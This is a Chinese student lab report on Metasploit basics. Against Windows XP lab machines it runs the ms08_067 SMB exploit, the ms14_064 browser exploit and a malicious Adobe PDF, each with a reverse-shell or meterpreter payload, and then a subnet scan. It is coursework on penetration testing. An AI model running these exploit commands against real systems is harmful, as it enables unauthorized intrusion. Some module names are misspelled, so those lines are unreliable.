20164322 韩玉婷-----Exp5 MSF基础应

时间:2022-02-27 03:19:03

Exp5 MSF基础应用

1.基础问题回答

exploit: 是指攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞所进行的攻击行为, 包括利用缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。按照所利用的安全漏洞所在的位置分为主动渗透攻击(攻击某个系统服务),被动渗透攻击(攻击某个客户端应用)。

payload:目标系统在被渗透攻击之后去执行的代码一段指令或称为shellcode。

encode:编码器,确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”;改变特征码,对攻击载荷进行“免杀”处理。


2.实验内容

2.1一个主动攻击实践,如ms08_067; (1分)

攻击机:kali linux ip:222.28.141.136

20164322 韩玉婷-----Exp5 MSF基础应

靶机: windows xp [版本 5.1.2600] ip:192.168.33.133 (中文版)

20164322 韩玉婷-----Exp5 MSF基础应

使用漏洞:ms08_067

输入 use exploit/windows/smb/ms08_067_netapi

设置payload,tcp反向回连  set payload generic/shell_reverse_tcp

设置攻击机ip   set LHOST 222.28.141.136 

设置攻击端口     set LPORT

设置靶机ip  set RHOST 192.168.33.133

设置自动选择目标系统类型

20164322 韩玉婷-----Exp5 MSF基础应

攻击失败!!!通过网上查找资料,发现可能是打过补丁的原因,更换虚拟机。由于换了网络,所以第二次实验时ip也发生了变化。

攻击机:kali linux ip:192.168.33.132

20164322 韩玉婷-----Exp5 MSF基础应

靶机: windows xp [version 5.1.2600] ip:192.168.33.134

20164322 韩玉婷-----Exp5 MSF基础应

重复上述步骤:

20164322 韩玉婷-----Exp5 MSF基础应

20164322 韩玉婷-----Exp5 MSF基础应

攻击成功!!!


  2.2 一个针对浏览器的攻击,ms14_064;(唯一)

攻击机:kali linux ip:192.168.33.132

靶机: windows xp [version 5.1.2600] ip:192.168.33.134

首先,我看了一下有哪些攻击浏览器的漏洞可用

20164322 韩玉婷-----Exp5 MSF基础应

下面还有很多........但是不一定都可用,随便选择一个漏洞ms14_064试试。

输入指令  use exploit/windows/browser/ms14_064_ole_code_execution    //使用浏览器ms14_064漏洞

进行如下的配置:

set payload windows/meterpreter/reverse_http  //http反向回连

set LHOST 192.168.33.132  //攻击机ip

//攻击端口固定

set URIPATH 4322hyt  //统一资源标识符路径设置

20164322 韩玉婷-----Exp5 MSF基础应

在访问 http://192.168.33.132:8080/4322hyt 时,可见攻击机出现访问信息。

20164322 韩玉婷-----Exp5 MSF基础应

20164322 韩玉婷-----Exp5 MSF基础应

攻击成功!!!


  2.3 一个针对客户端的攻击,如Adobe;(1分)

 攻击机:kali IP:192.168.119.128

 靶机:windows XP sp2 IP:192.168.119.133

 在攻击机kali输入msfconsole进入控制台,输入指令: use exloit/windows/fileformat/adobe_u3d_meshdecl

进行如下配置:

set payload windows/meterpreter/reverse_tcp 

set LHOST 192.168.33.136  //攻击机ip

    //攻击端口

  set FILENAME hyt4322.pdf  //设置生成pdf文件的名字

  exploit  //攻击

20164322 韩玉婷-----Exp5 MSF基础应

在以上目录中找到该pdf文件,用共享文件夹共享到自己的主机,再拖到靶机。

20164322 韩玉婷-----Exp5 MSF基础应

在靶机上打开该pdf文件。

20164322 韩玉婷-----Exp5 MSF基础应

攻击者可以看到相应的信息,攻击成功!!!


  2.4 成功应用任何一个辅助模块。(0.5分)

使用ARP请求枚举本地局域网中所有活跃主机

输入指令: use auxiliary/scanner/discovery/udp_seep

show options

将RHOSTS设置为 192.168.33.0/24,即扫描子网号为192.168.33.0的子网内的所有主机

20164322 韩玉婷-----Exp5 MSF基础应

结果扫描了256个主机,4个活跃,其中192.168.33.135是靶机的IP.


3.实验感想

本次实践让我对msf基础有了更加深入的理解,见识到了它的功能强大性,意识到漏洞库持续更新的重要性。对msf常用模块的使用也在一定程度上熟练了一些。同时再遇到一些错误时,通过提示,进行猜测,上网查找,解决了不少问题,提高了我独立思考的能力。